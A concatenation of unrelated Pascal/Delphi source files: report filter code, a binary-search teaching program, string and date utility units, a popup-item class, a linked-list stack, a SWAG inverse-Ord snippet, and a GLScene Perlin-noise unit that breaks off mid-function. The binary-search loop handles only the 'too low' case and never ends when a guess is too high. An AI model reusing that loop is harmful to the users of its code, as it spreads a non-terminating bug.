function GetDate(const Value: Variant): string;
begin
Result := '';
if Value <> Null then
Result := FormatDateTime('dd.mm.yyyy', Value);
end;
var
FromDate: string;
TillDate: string;
begin
Result := '';
if not Assigned(DateFilter) then
Exit;
FromDate := GetDate(DateFilter.FromDate);
TillDate := GetDate(DateFilter.TillDate);
if FromDate <> '' then
Result := 'c ' + FromDate;
if TillDate <> '' then begin
if Result <> '' then
Result := Result + ' ';
Result := Result + 'по ' + TillDate;
end;
if Result <> '' then
Result := 'Период: ' + Result + #13#10;
end;
function TrpFoodsAllReport.GetSqlCustomerFilter: string;
begin
end;
procedure TrpFoodsAllReport.frReportGetValue(const VarName: string;
var Value: Variant);
begin
if AnsiCompareStr(VarName, 'Пользовательские фильтры') = 0 then
begin
Value := GetCustomerFilterCaption + GetDateFilterCaption();
if Value = '' then
Value := #13#10;
end;
end;
end.
|
Program BinarySearchLogic;
{ Change Maximum from 10 to 100, 200, 500, 1000, 5000, 10000
and 15000 and see how many additional passes it takes as the
Data Base gets larger. }
{ Suggestion: Add the timer program to this one and let it run
automatically to see just how fast it is on an ORDERED Grouping. }
{$I Routine.Inc}
Var
Minimum, Maximum, UnknownNumber, Turns, Guess, Range: Integer;
Found:Boolean;
Procedure Initialize;
Begin
ClrScr;
Found := False;
Turns := 1;
Guess := 0;
Minimum := 0;
Maximum := 16000; { Why should you avoid integers larger than 163837}
UnknownNumber := Random(Maximum);
Writeln('I am thinking of a number between 1 and ',Maximum,
'Can you guess it?') ;
End;
Procedure PrintStatus;
Begin
Range := (Maximum - Minimum);
Writeln('You now know that the target must be between ',
Minimum:5,' and',Maximum:5,'.');
Writeln('Your next guess will be the midpoint of thie ',Range:5,
' Character Range.')
End;
Procedure GetGuess;
Begin
{ Comment out the next line for automatic demonstration.}
WaitForAnyKey;
Guess := (Minimum + Maximum) DIV 2;
{ Determine the Midpoint range. }
Writeln('Your Guess is ',Guess);
End;
Procedure GetAndEvaluateGuess;
Begin
GetGuess;
While Not Found Do
Begin
If Guess = UnknownNumber Then
Begin
Writeln('The Unknown Number Was ',UnknownNumber);
Found := True;
End;
If Guess < UnknownNumber Then { Unknown Number is in
upper half of range. }
Begin
Writeln('Too Low. ');
Turns := Turns + 1;
Minimum := Guess ; { New Range becomes top half of old range.}
PrintStatus;
GetGuess;
End;
End; { While }
End ; { GetAndEvaluateGuess }
Begin
Initialize;
GetAndEvaluateGuess;
Writeln('It took',Turns:3,' Tries to find the number. ');
Writeln ;
End. |
unit LrUtils;
interface
uses
SysUtils, StrUtils, Classes, Controls, Forms;
function AppFolder: string;
procedure NeedFolder(const inFolder: string);
function IsSubfolder(const inFolder, inRoot: string): Boolean;
procedure CopyFile(const inSrc, inDst: string);
procedure AddForm(out outForm; inFormClass: TFormClass; inParent: TWinControl;
inAlign: TAlign = alClient; inShow: Boolean = true);
procedure InsertForm(inForm: TForm; inParent: TWinControl;
inAlign: TAlign = alClient; inShow: Boolean = true);
function FindComponentByClass(out outComponent; inClass: TClass;
inOwner: TComponent): Boolean;
function IsDelimiter(const inS, inDelim: string; inIndex: Integer): Boolean;
function IncludeTrailingDelimiter(const inS, inD: string): string;
function IncludeTrailingFrontslash(const inS: string): string;
function IncludeTrailingBackslash(const inS: string): string;
function ExtensionsToFilter(inExts: array of string): string; overload;
function ExtensionsToFilter(inExts: TStringList): string; overload;
function IsAs(inComponent: TComponent; const inIID: TGUID;
out outObj): Boolean;
procedure DeDupeStrings(inStrings: TStrings);
implementation
function AppFolder: string;
begin
Result := ExtractFilePath(Application.ExeName);
end;
procedure NeedFolder(const inFolder: string);
begin
if not DirectoryExists(inFolder) then
if not ForceDirectories(inFolder) then
raise EStreamError.Create('Could not create folder: "' + inFolder + '"');
end;
function IsSubfolder(const inFolder, inRoot: string): Boolean;
begin
Result := AnsiStartsText(inRoot, inFolder);
end;
function FindComponentByClass(out outComponent; inClass: TClass;
inOwner: TComponent): Boolean;
var
i: Integer;
begin
Result := false;
TComponent(outComponent) := nil;
if inOwner <> nil then
for i := 0 to Pred(inOwner.ComponentCount) do
if inOwner.Components[i] is inClass then
begin
TComponent(outComponent) := inOwner.Components[i];
Result := true;
break;
end;
end;
procedure InsertForm(inForm: TForm; inParent: TWinControl;
inAlign: TAlign = alClient; inShow: Boolean = true);
begin
with inForm do
begin
BorderIcons := [];
Caption := '';
BorderStyle := bsNone;
Align := inAlign;
Parent := inParent;
if inShow then
Show;
//Visible := inShow;
end;
end;
procedure AddForm(out outForm; inFormClass: TFormClass; inParent: TWinControl;
inAlign: TAlign = alClient; inShow: Boolean = true);
begin
TForm(outForm) := inFormClass.Create(nil);
InsertForm(TForm(outForm), inParent, inAlign, inShow);
end;
function IsDelimiter(const inS, inDelim: string; inIndex: Integer): Boolean;
begin
Result := (inIndex > 0) and (inS[inIndex] = inDelim);
end;
function IncludeTrailingDelimiter(const inS, inD: string): string;
begin
if IsDelimiter(inS, inD, Length(inS)) then
Result := inS
else
Result := inS + inD;
end;
function IncludeTrailingFrontslash(const inS: string): string;
begin
Result := IncludeTrailingDelimiter(inS, '/');
end;
function IncludeTrailingBackslash(const inS: string): string;
begin
Result := IncludeTrailingDelimiter(inS, '\');
end;
function ExtensionsToFilter(inExts: array of string): string;
var
i: Integer;
s0, s1: string;
begin
for i := 0 to Pred(Length(inExts)) do
if i = 0 then
begin
s0 := '(*' + inExts[i];
s1 := '|*' + inExts[i];
end else
begin
s0 := s0 + ', *' + inExts[i];
s1 := s1 + ';*' + inExts[i];
end;
Result := s0 + ')' + s1;
end;
function ExtensionsToFilter(inExts: TStringList): string;
var
i: Integer;
s0, s1: string;
begin
for i := 0 to Pred(inExts.Count) do
if i = 0 then
begin
s0 := '(*' + inExts[i];
s1 := '|*' + inExts[i];
end else
begin
s0 := s0 + ', *' + inExts[i];
s1 := s1 + ';*' + inExts[i];
end;
Result := s0 + ')' + s1;
end;
function IsAs(inComponent: TComponent; const inIID: TGUID;
out outObj): Boolean;
begin
with inComponent as IInterface do
Result := QueryInterface(inIID, outObj) = S_OK;
end;
procedure CopyFile(const inSrc, inDst: string);
var
s: TMemoryStream;
begin
s := TMemoryStream.Create;
try
s.LoadFromFile(inSrc);
s.Position := 0;
s.SaveToFile(inDst);
finally
s.Free;
end;
end;
procedure DeDupeStrings(inStrings: TStrings);
var
i, j: Integer;
begin
i := 0;
while (i < inStrings.Count) do
begin
j := i + 1;
while (j < inStrings.Count) do
if inStrings[i] = inStrings[j] then
inStrings.Delete(j)
else
Inc(j);
Inc(i);
end;
end;
end.
|
unit Ils.Utils;
//------------------------------------------------------------------------------
// модуль маленьких полезных подпрограмм
//------------------------------------------------------------------------------
// содержит процедуры и функции, выполняющие сервисную работу
//------------------------------------------------------------------------------
//------------------------------------------------------------------------------
interface
uses
SysUtils, Windows;
type
TIlsDateTimeFormatVariant = (fvFull, fvTimeOnly, fvDateOnly);
//------------------------------------------------------------------------------
//! зеркально перевернуть байты в 8/4/2-байтном числе
//------------------------------------------------------------------------------
function Swap64(
const AArg: UInt64
): UInt64; register;
function Swap32(
const AArg: Cardinal
): Cardinal; register;
function Swap16(
const AArg: Word
): Word; register;
//------------------------------------------------------------------------------
//! получить номер минимального/максимального установленного бита
//! result = -1, если аргумент = 0
//------------------------------------------------------------------------------
function GetMinBitIndex(
AArg: UInt64
): Integer;
function GetMaxBitIndex(
AArg: UInt64
): Integer;
//------------------------------------------------------------------------------
//! получить текущие дату и время, как UTC
//------------------------------------------------------------------------------
function NowUTC(): TDateTime;
//------------------------------------------------------------------------------
//! дамп данных в шестнадцатиричном виде
//------------------------------------------------------------------------------
function LogDataHex(
const AHeader: string;
const AData: Pointer;
const ADataLen: Integer
): string;
//------------------------------------------------------------------------------
//! дамп данных в символьном виде
//! *** не забывать, что для не-ansi байт будет использоваться текущая локаль ***
//------------------------------------------------------------------------------
function LogDataChar(
const AHeader: string;
const AData: Pointer;
const ADataLen: Integer
): string;
//------------------------------------------------------------------------------
//! маскировка символов JSON
//------------------------------------------------------------------------------
function MaskJSONSymbols(
const AStr: string
): string;
//------------------------------------------------------------------------------
//! конвертировать строку формата ИЛС в TDateTime
//------------------------------------------------------------------------------
function IlsToDateTime(
const AStr: string;
const ADefault: TDateTime = 0
): TDateTime;
function TryIlsToDateTime(
const AStr: string;
out ODT: TDateTime
): Boolean;
//------------------------------------------------------------------------------
//! конвертировать TDateTime в строку формата ИЛС
//------------------------------------------------------------------------------
function DateTimeToIls(
const ADT: TDateTime;
const AFormatVariant: TIlsDateTimeFormatVariant = fvFull
): string;
//------------------------------------------------------------------------------
//! TBD
//------------------------------------------------------------------------------
function TrimLeft(AStr: string; ACh: Char): string;
//------------------------------------------------------------------------------
implementation
{$IFDEF WIN32}
function Swap64(
const AArg: UInt64
): UInt64;
asm
lea ecx,AArg;
mov edx,[ecx];
mov eax,[ecx + 4];
bswap edx;
bswap eax;
end;
function Swap32(
const AArg: Cardinal
): Cardinal;
asm
bswap eax;
end;
function Swap16(
const AArg: Word
): Word;
asm
xchg ah, al;
end;
{$ELSE}
function Swap64(
const AArg: UInt64
): UInt64;
begin
Result := ((AArg and UInt64($ff00000000000000)) shr 56)
or ((AArg and UInt64($00ff000000000000)) shr 40)
or ((AArg and UInt64($0000ff0000000000)) shr 24)
or ((AArg and UInt64($000000ff00000000)) shr 8)
or ((AArg and UInt64($00000000ff000000)) shl 8)
or ((AArg and UInt64($0000000000ff0000)) shl 24)
or ((AArg and UInt64($000000000000ff00)) shl 40)
or ((AArg and UInt64($00000000000000ff)) shl 56);
end;
function Swap32(
const AArg: Cardinal
): Cardinal;
begin
Result := ((AArg and $ff000000) shr 24)
or ((AArg and $00ff0000) shr 8)
or ((AArg and $0000ff00) shl 8)
or ((AArg and $000000ff) shl 24);
end;
function Swap16(
const AArg: Word
): Word;
begin
Result := (Word(Lo(AArg)) shl 8) or Hi(AArg);
end;
{$ENDIF}
function GetMinBitIndex(
AArg: UInt64
): Integer;
begin
if (AArg = 0) then
Exit(-1);
Result := 0;
while not Odd(AArg) do
begin
Inc(Result);
AArg := AArg shr 1;
end;
end;
function GetMaxBitIndex(
AArg: UInt64
): Integer;
begin
Result := -1;
while (AArg <> 0) do
begin
Inc(Result);
AArg := AArg shr 1;
end;
end;
function NowUTC(): TDateTime;
var
//!
SystemTime: TSystemTime;
//------------------------------------------------------------------------------
begin
GetSystemTime(SystemTime);
with SystemTime do Result := EncodeDate(wYear, wMonth, wDay) + EncodeTime(wHour, wMinute, wSecond, wMilliseconds);
end;
function LogDataHex(
const AHeader: string;
const AData: Pointer;
const ADataLen: Integer
): string;
var
//!
DataPos: PByte;
//!
I: Integer;
//------------------------------------------------------------------------------
begin
Result := AHeader + ' (байт = ' + IntToStr(ADataLen) + ')';
if (ADataLen = 0) then
Exit;
Result := Result + #13#10;
DataPos := AData;
for I := 1 to ADataLen do
begin
Result := Result + '(' + IntToHex(DataPos^, 2) + ')';
if (I mod 16 = 0) then
Result := Result + #13#10;
Inc(DataPos);
end;
end;
function LogDataChar(
const AHeader: string;
const AData: Pointer;
const ADataLen: Integer
): string;
var
//!
TempAnsi: AnsiString;
//------------------------------------------------------------------------------
begin
Result := AHeader + ' (байт = ' + IntToStr(ADataLen) + ')';
if (ADataLen = 0) then Exit;
SetLength(TempAnsi, ADataLen);
MoveMemory(@TempAnsi[1], AData, ADataLen);
Result := Result + #13#10 + string(TempAnsi);
end;
function MaskJSONSymbols(
const AStr: string
): string;
begin
Result := StringReplace(StringReplace(AStr, '\', '\\', [rfReplaceAll]), '"', '\"', [rfReplaceAll])
end;
function IlsToDateTime(
const AStr: string;
const ADefault: TDateTime = 0
): TDateTime;
var
//!
FS: TFormatSettings;
//------------------------------------------------------------------------------
begin
FS.DateSeparator := '-';
FS.TimeSeparator := ':';
FS.LongTimeFormat := 'hh:nn:ss.zzz';
FS.ShortTimeFormat := 'hh:nn:ss.zzz';
FS.LongDateFormat := 'yyyy-mm-dd';
FS.ShortDateFormat := 'yyyy-mm-dd';
FS.DecimalSeparator := '.';
Result := StrToDateTimeDef(AStr, ADefault, FS);
end;
function TryIlsToDateTime(
const AStr: string;
out ODT: TDateTime
): Boolean;
var
//!
FS: TFormatSettings;
//------------------------------------------------------------------------------
begin
FS.DateSeparator := '-';
FS.TimeSeparator := ':';
FS.LongTimeFormat := 'hh:nn:ss.zzz';
FS.ShortTimeFormat := 'hh:nn:ss.zzz';
FS.LongDateFormat := 'yyyy-mm-dd';
FS.ShortDateFormat := 'yyyy-mm-dd';
FS.DecimalSeparator := '.';
Result := TryStrToDateTime(AStr, ODT, FS);
end;
function DateTimeToIls(
const ADT: TDateTime;
const AFormatVariant: TIlsDateTimeFormatVariant = fvFull
): string;
begin
case AFormatVariant of
fvDateOnly : Result := 'yyyy-mm-dd';
fvTimeOnly : Result := 'hh:nn:ss.zzz';
else Result := 'yyyy-mm-dd hh:nn:ss.zzz';
end;
Result := FormatDateTime(Result, ADT);
end;
function TrimLeft(AStr: string; ACh: Char): string;
begin
Result := AStr;
while (Length(Result) > 0) and (Result[1] = aCh) do
Delete(Result, 1, 1);
end;
end.
|
unit Pospolite.View.Popups;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, Graphics, Controls, Pospolite.View.Basics,
Pospolite.View.Drawing.Basics, Pospolite.View.Drawing.Renderer;
type
TPLPopupItemKind = (pikButton, pikDropDown, pikButtonDrop, pikSeparator,
pikSmallButton, pikLabel);
{ TPLPopupItem }
TPLPopupItem = class(TCollectionItem)
private
FKind: TPLPopupItemKind;
procedure SetKind(AValue: TPLPopupItemKind);
public
constructor Create(ACollection: TCollection); override;
destructor Destroy; override;
published
property Kind: TPLPopupItemKind read FKind write SetKind;
end;
implementation
{ TPLPopupItem }
procedure TPLPopupItem.SetKind(AValue: TPLPopupItemKind);
begin
if FKind = AValue then exit;
FKind := AValue;
end;
constructor TPLPopupItem.Create(ACollection: TCollection);
begin
inherited Create(ACollection);
end;
destructor TPLPopupItem.Destroy;
begin
inherited Destroy;
end;
end.
|
unit DSA.List_Stack_Queue.LinkedListStack;
interface
uses
System.SysUtils,
System.Rtti,
DSA.Interfaces.DataStructure,
DSA.List_Stack_Queue.LinkedList;
type
TLinkedListStack<T> = class(TInterfacedObject, IStack<T>)
private type
TLinkedList_T = TLinkedList<T>;
var
__list: TLinkedList<T>;
public
function GetSize: Integer;
function IsEmpty: Boolean;
procedure Push(e: T);
function Pop: T;
function Peek: T;
constructor Create;
function ToString: string; override;
end;
procedure Main;
implementation
type
TLinkedListStack_int = TLinkedListStack<Integer>;
procedure Main;
var
Stack: TLinkedListStack_int;
i: Integer;
begin
Stack := TLinkedListStack_int.Create();
for i := 0 to 4 do
begin
Stack.Push(i);
Writeln(Stack.ToString);
end;
Stack.Pop;
Writeln(Stack.ToString);
end;
{ TLinkedStack<T> }
constructor TLinkedListStack<T>.Create;
begin
__list := TLinkedList<T>.Create;
end;
function TLinkedListStack<T>.GetSize: Integer;
begin
Result := __list.GetSize;
end;
function TLinkedListStack<T>.IsEmpty: Boolean;
begin
Result := __list.IsEmpty;
end;
function TLinkedListStack<T>.Peek: T;
begin
Result := __list.GetFirst;
end;
function TLinkedListStack<T>.Pop: T;
begin
Result := __list.ReMoveFirst;
end;
procedure TLinkedListStack<T>.Push(e: T);
begin
__list.AddFirst(e);
end;
function TLinkedListStack<T>.ToString: string;
var
res: TStringBuilder;
begin
res := TStringBuilder.Create;
res.Append('Stack: top ');
res.Append(__list.ToString);
Result := res.ToString;
end;
end.
|
(*
Category: SWAG Title: DATA TYPE & COMPARE ROUTINES
Original name: 0016.PAS
Description: Inverse Ordinal Types
Author: STEVEN TALLENT
Date: 01-27-94 12:10
*)
(*
> is there any way to write an inverse Ord function for any type?
> Type Color = (RED, BLUE, GREEN, VIOLET, PURPLE);
> Var Whatever : Color;
> Begin
> Writeln ('Red: ',Ord(Red); { Will print Red: 0 }
> Writeln ('Inverse of Ord of Red:,InvOrd(0,Color); { Should spit out RED }
> End.
> For the function I had this in mind:
> Function InvOrd(TypeOrd : Integer; SpecifyType : SomeType) : SomeType;
> Begin
> { What goes here? }
> End.
In a running program, variables are not really accessed by name, but by
address, and their names don't show up in the final EXE. The only way
I know to do such a thing is to add:
*)
Const
Red = 1;
Purple = 5;
InvOrd : Array [Red..Purple] of String[6] =
('Red', 'Blue', 'Green', 'Violet', 'Purple');
{ And then access this array like: }
begin
WriteLn('Inverse of Ord of Red:', InvOrd[Red]);
end.
|
//
// This unit is part of the GLScene Project, http://glscene.org
//
{: GLPerlin<p>
Classes for generating perlin noise.<p>
The components and classes in the unit are a base to generate textures and heightmaps from,
A Perlin Height Data Source have been included as an example. Use this combined with a terrain renderer for an infinite random landscape <p>
<b>History : </b><font size=-1><ul>
<li>31/03/07 - DaStr - Added $I GLScene.inc
<li>28/03/07 - DaStr - Added explicit pointer dereferencing
(thanks Burkhard Carstens) (Bugtracker ID = 1678644)
<li>08/07/04 - LR - Correction for Linux
<li>29/01/03 - JaJ - Submitted to GLScene.
</ul></font>
}
unit GLPerlin;
interface
{$I GLScene.inc}
uses
Classes, SysUtils, GLVectorGeometry, GLPerlinBase, GLHeightData, GLCrossPlatform;
Type
TGLPerlinInterpolation = (pi_none, pi_simple, pi_linear,pi_Smoothed, pi_Cosine, pi_cubic);
TGLBasePerlinOctav = class
private
FAmplitude : Double;
FScale : Double;
FInterpolation : TGLPerlinInterpolation;
FSmoothing : TGLPerlinInterpolation;
public
Procedure Generate; dynamic; abstract;
property Interpolation : TGLPerlinInterpolation read FInterpolation write FInterpolation;
property Smoothing : TGLPerlinInterpolation read FSmoothing write FSmoothing;
property Amplitude : Double read FAmplitude write FAmplitude;
property Scale : Double read FScale write FScale;
End;
TGLPerlinOctav = class of TGLBasePerlinOctav;
TGLBasePerlin = class(TComponent)
private
FPersistence : Double;
FNumber_Of_Octaves : Integer;
FOctaves : TList;
FOctavClass : TGLPerlinOctav;
FInterpolation : TGLPerlinInterpolation;
FSmoothing : TGLPerlinInterpolation;
protected
function PerlinNoise_1D(x : Double) : Double;
function PerlinNoise_2D(x,y : Double) : Double;
function GetOctave(index : Integer) : TGLBasePerlinOctav;
Procedure SetPersistence(val : double);
Procedure Set_Number_Of_Octaves(val : integer);
public
Constructor Create(AOwner : TComponent); override;
Procedure Generate; dynamic; abstract;
Property Octaves[index : Integer] : TGLBasePerlinOctav read GetOctave;
published
property Smoothing : TGLPerlinInterpolation read FSmoothing write FSmoothing;
property Interpolation : TGLPerlinInterpolation read FInterpolation write FInterpolation;
property Persistence : Double read FPersistence write SetPersistence;
property Number_Of_Octaves : Integer read FNumber_Of_Octaves write Set_Number_Of_Octaves;
End;
TGL1DPerlin = class(TGLBasePerlin)
Function GetPerlinValue_1D(X : Double) : Double;
published
End;
TGL2DPerlinOctav = class(TGLBasePerlinOctav)
public
Data : T2DPerlinArray;
Width, Height : Integer;
XStart,YStart : Integer;
XStep, YStep : Integer;
YRate : Integer;
Procedure Generate; override;
Function GetDataSmoothed(X,Y : Integer) : Double;
Function GetData(X,Y : Integer) : Double;
Function GetCubic(X,Y : Double) : Double;
Function GetCosine(X,Y : Double) : Double;
Function GetPerling(X,Y : Double) : Double;
Procedure Generate_CubicInterpolate;
Procedure Generate_SmoothInterpolate;
Procedure Generate_NonInterpolated;
End;
TGL2DPerlin = class(TGLBasePerlin)
private
public
Width, Height : Integer;
XStart,YStart : Integer;
XStep, YStep : Integer;
MaxValue, MinValue : Double;
Constructor Create(AOwner : TComponent); override;
Procedure Generate; override;
Function GetPerlinValue_2D(X,Y : Double) : Double;
Procedure MakeBitmap(Param : TGLBitmap);
Procedure SetHeightData(heightData : THeightData);
End;
TGLPerlinHDS = class(THeightDataSource)
private
FInterpolation : TGLPerlinInterpolation;
FSmoothing : TGLPerlinInterpolation;
FPersistence : Double;
FNumber_Of_Octaves : Integer;
FLines : TStrings;
FLinesChanged : Boolean;
FXStart, FYStart : Integer;
public
MaxValue, MinValue : Double;
Stall : Boolean;
Constructor Create(AOwner : TComponent); override;
procedure StartPreparingData(heightData : THeightData); override;
procedure WaitFor;
property Lines : TStrings read FLines;
property LinesChanged : Boolean read FLinesChanged write FLinesChanged;
published
property Interpolation : TGLPerlinInterpolation read FInterpolation write FInterpolation;
property Smoothing : TGLPerlinInterpolation read FSmoothing write FSmoothing;
property Persistence : Double read FPersistence write FPersistence;
property Number_Of_Octaves : Integer read FNumber_Of_Octaves write FNumber_Of_Octaves;
property MaxPoolSize;
property XStart : Integer read FXStart write FXStart;
property YStart : Integer read FYStart write FYStart;
End;
TGLPerlinHDSThread = class (THeightDataThread)
Perlin : TGL2DPerlin;
PerlinSource : TGLPerlinHDS;
Procedure OpdateOutSide;
Procedure Execute; override;
end;
implementation
type
PSmallInt = ^SmallInt;
function TGLBasePerlin.PerlinNoise_1D(x : Double) : Double;
Var
int_x : Integer;
frac_x : Double;
Begin
int_x := Round(Int(x));
frac_x := X-int_x;
case Interpolation of
pi_none : Result := 0;
pi_simple : Result := Perlin_Random1(int_x);
pi_linear : Result := Linear_Interpolate(Perlin_Random1(int_x),Perlin_Random1(int_x+1),frac_x);
pi_cubic : Result := Cubic_Interpolate(Perlin_Random1(int_x-1),Perlin_Random1(int_x),Perlin_Random1(int_x+1),Perlin_Random1(int_x+2),frac_x);
pi_cosine : Result := Cosine_Interpolate(Perlin_Random1(int_x),Perlin_Random1(int_x+1),frac_x);
else raise exception.create('TGLBasePerlin.PerlinNoise_1D, Interpolation not implemented!');
End;
End;
function TGLBasePerlin.PerlinNoise_2D(x,y : Double) : Double;
Var
int_x, int_y : Integer;
// frac_y,
frac_x : Double;
Begin
int_x := Round(Int(x));
int_y := Round(Int(y));
frac_x := X-int_x;
// frac_y := y-int_y;
case Interpolation of
pi_none : Result := 0;
pi_simple : Result := Perlin_Random2(int_x,int_y);
pi_linear : Result := Linear_Interpolate(Perlin_Random1(int_x),Perlin_Random1(int_x+1),frac_x);
pi_cubic : Result := Cubic_Interpolate(Perlin_Random1(int_x-1),Perlin_Random1(int_x),Perlin_Random1(int_x+1),Perlin_Random1(int_x+2),frac_x);
pi_cosine : Result := Cosine_Interpolate(Perlin_Random1(int_x),Perlin_Random1(int_x+1),frac_x);
else raise exception.create('TGLBasePerlin.PerlinNoise_1D, Interpolation not implemented!');
End;
End;
function TGLBasePerlin.GetOctave(index : Integer) : TGLBasePerlinOctav;
Begin
Result := TGLBasePerlinOctav(FOctaves[index]);
End;
Procedure TGLBasePerlin.Set_Number_Of_Octaves(val : integer);
Var
XC : Integer;
NewScale : Integer;
Octav : TGLBasePerlinOctav;
Begin
If val <> FNumber_Of_Octaves then
Begin
FNumber_Of_Octaves := Val;
For XC := FOctaves.Count to FNumber_Of_Octaves-1 do
Begin
Octav := FOctavClass.Create;
If FPersistence = 0 then
Octav.FAmplitude := 0
else
Octav.FAmplitude := exp(ln(FPersistence)*(XC+1));
Octav.FInterpolation := Interpolation;
Octav.FSmoothing := Smoothing;
FOctaves.Add(Octav);
End;
For XC := FOctaves.Count-1 downto FNumber_Of_Octaves do
Begin
Octav := Octaves[XC];
FOctaves.Delete(XC);
Octav.Free;
End;
NewScale := 1;
For XC := FOctaves.Count-1 downto 0 do
Begin
Octaves[XC].Scale := NewScale;
NewScale := NewScale shl 1;
End;
End;
end;
Procedure TGLBasePerlin.SetPersistence(val : double);
Var
XC : integer;
Begin
If FPersistence <> val then
Begin
FPersistence := val;
For XC := FOctaves.Count to FNumber_Of_Octaves-1 do
Begin
Octaves[XC].FAmplitude := exp(ln(FPersistence)*XC);
End;
End;
End;
Constructor TGLBasePerlin.Create(AOwner : TComponent);
Begin
inherited;
FOctaves := TList.Create;
FNumber_Of_Octaves := 0;
FInterpolation := pi_Cosine;
FSmoothing := pi_cubic;
End;
Function TGL1DPerlin.GetPerlinValue_1D(X : Double) : Double;
Var
total, p, frequency, amplitude : Double;
n, i : Integer;
Begin
total := 0;
p := persistence;
n := Number_Of_Octaves - 1;
For I := 0 to n do
Begin
frequency := 2*i;
amplitude := p*i;
total := total + PerlinNoise_1D(x * frequency) * amplitude;
end;
Result := total;
End;
Procedure TGL2DPerlinOctav.Generate;
Var
YC : Integer;
Begin
SetLength(Data,Height+3); // needed for smoothing
For YC := 0 to Height+2 do
SetLength(Data[yc],Width+3); // needed for smoothing
case Smoothing of
pi_cubic :
Begin
Generate_CubicInterpolate;
End;
pi_Smoothed :
Begin
Generate_SmoothInterpolate;
End;
pi_none : ;
pi_simple :
Begin
Generate_NonInterpolated;
End;
End;
End;
Function TGL2DPerlinOctav.GetPerling(X,Y : Double) : Double;
Begin
Result := 0;
case Interpolation of
pi_cubic :
Begin
Result := getCubic(X,Y);
End;
pi_Smoothed :
Begin
End;
pi_Cosine :
Begin
Result := GetCosine(X,Y);
End;
End;
End;
Procedure TGL2DPerlinOctav.Generate_CubicInterpolate;
Var
B1, B2, B3, B4, T1 : T1DPerlinArray;
StripWidth : Integer;
Offset : Integer;
YC : Integer;
Begin
T1 := Nil;
StripWidth := Width+6;
SetLength(B1,StripWidth);
SetLength(B2,StripWidth);
SetLength(B3,StripWidth);
SetLength(B4,StripWidth);
Offset := (XStart-1)+(YStart-1)*YStep*YRate;
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B1);
inc(Offset,YRate*YStep);
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B2);
inc(Offset,YRate*YStep);
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B3);
inc(Offset,YRate*YStep);
For YC := 0 to Height+2 do
Begin
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B4);
inc(Offset,YRate*YStep);
Cubic_Interpolate_Strip(B1,B2,B3,B4,Data[YC],Width+3);
T1 := B1;
B1 := B2;
B2 := B3;
B3 := B4;
B4 := T1;
End;
SetLength(B1,0);
SetLength(B2,0);
SetLength(B3,0);
SetLength(B4,0);
End;
Procedure TGL2DPerlinOctav.Generate_SmoothInterpolate;
Var
B1, B2, B3, T1 : T1DPerlinArray;
StripWidth : Integer;
Offset : Integer;
YC : Integer;
Begin
T1 := Nil;
StripWidth := Width+5;
SetLength(B1,StripWidth);
SetLength(B2,StripWidth);
SetLength(B3,StripWidth);
Offset := (XStart-1)+(YStart-1)*YStep*YRate;
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B1);
inc(Offset,YRate*YStep);
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B2);
inc(Offset,YRate*YStep);
For YC := 0 to Height+2 do
Begin
Perlin_Random1DStrip(Offset,StripWidth,XStep,FAmplitude,B3);
inc(Offset,YRate*YStep);
Smooth_Interpolate_Strip(B1,B2,B3,Data[YC],Width+3);
T1 := B1;
B1 := B2;
B2 := B3;
B3 := T1;
End;
SetLength(B1,0);
SetLength(B2,0);
SetLength(B3,0);
End;
Procedure TGL2DPerlinOctav.Generate_NonInterpolated;
Var
Offset : Integer;
YC : Integer;
Begin
Offset := XStart+YStart*YStep*YRate;
For YC := 0 to Height+2 do
Begin
Perlin_Random1DStrip(Offset,Width+3,XStep,FAmplitude,Data[YC]);
inc(Offset,YRate*YStep);
End;
End;
Function TGL2DPerlinOctav.GetDataSmoothed(X,Y : Integer) : Double;
Begin
Result := (Data[Y][X]+ Data[Y][X+2]+ Data[Y+2][X]+ Data[Y+2][X+2])/16+
(Data[Y+1][X]+ Data[Y+1][X+2]+ Data[Y][X+1]+ Data[Y+2][X+1])/8+
Data[Y+1][X+1]/4;{}
End;
Function TGL2DPerlinOctav.GetData(X,Y : Integer) : Double;
Begin
Result := Data[Y][X];
End;
Function TGL2DPerlinOctav.GetCubic(X,Y : Double) : Double;
Var
X_Int : Integer;
Y_Int : Integer;
X_Frac,
Y_Frac : Double;
Begin
X_Int := Round(Int(X));
Y_Int := Round(Int(Y));
X_Frac := X-X_Int;
Y_Frac := Y-Y_Int;
Result := (Cubic_Interpolate(GetData(X_Int,Y_Int+1),GetData(X_Int+1,Y_Int+1),GetData(X_Int+2,Y_Int+1),GetData(X_Int+3,Y_Int+1),X_Frac)
+ Cubic_Interpolate(GetData(X_Int+1,Y_Int),GetData(X_Int+1,Y_Int+1),GetData(X_Int+1,Y_Int+2),GetData(X_Int+1,Y_Int+3),Y_Frac)) / 2;
End;
Function TGL2DPerlinOctav.GetCosine(X,Y : Double) : Double;
Var
X_Int : Integer;
Y_Int : Integer;
X_Frac,
Y_Frac : Double;
Begin
X_Int := Round(Int(X));
Y_Int := Round(Int(Y));
X_Frac := X-X_Int;
Y_Frac := Y-Y_Int;
Result := Cosine_Interpolate(
Cosine_Interpolate(GetData(X_Int,Y_Int),GetData(X_Int+1,Y_Int),X_Frac),
Cosine_Interpolate(GetData(X_Int,Y_Int+1),GetData(X_Int+1,Y_Int+1),X_Frac),
Y_Frac);
End;
Constructor TGL2DPerlin.Create(AOwner : TComponent);
Begin
inherited;
Width := 256;
Height := 256;
XStart := 0;
YStart := 0;
XStep := 1;
YStep := 1;
FOctavClass := TGL2DPerlinOctav;
End;
Procedure TGL2DPerlin.Generate;
Var
i : Integer;
Begin
For I := 0 to Number_Of_Octaves-1 do
With TGL2DPerlinOctav(Octaves[I]) do
Begin
Width := Round(Ceil(self.Width / Scale));
Height := Round(Ceil(self.Height / Scale));
XStart := Round(self.XStart / Scale);
YStart := Round(self.YStart / Scale);
XStep := self.XStep;
YStep := self.YStep;
YRate := 243*57*57;
Generate;
end;
End;
Function TGL2DPerlin.GetPerlinValue_2D(X,Y : Double) : Double;
Var
total, frequency, amplitude : Double;
i : Integer;
Begin
total := 0;
For I := 0 to Number_Of_Octaves-1 do
Begin
frequency := 2*i;
amplitude := persistence*i;
total := total + PerlinNoise_2D(x * frequency, y * frequency) * amplitude;
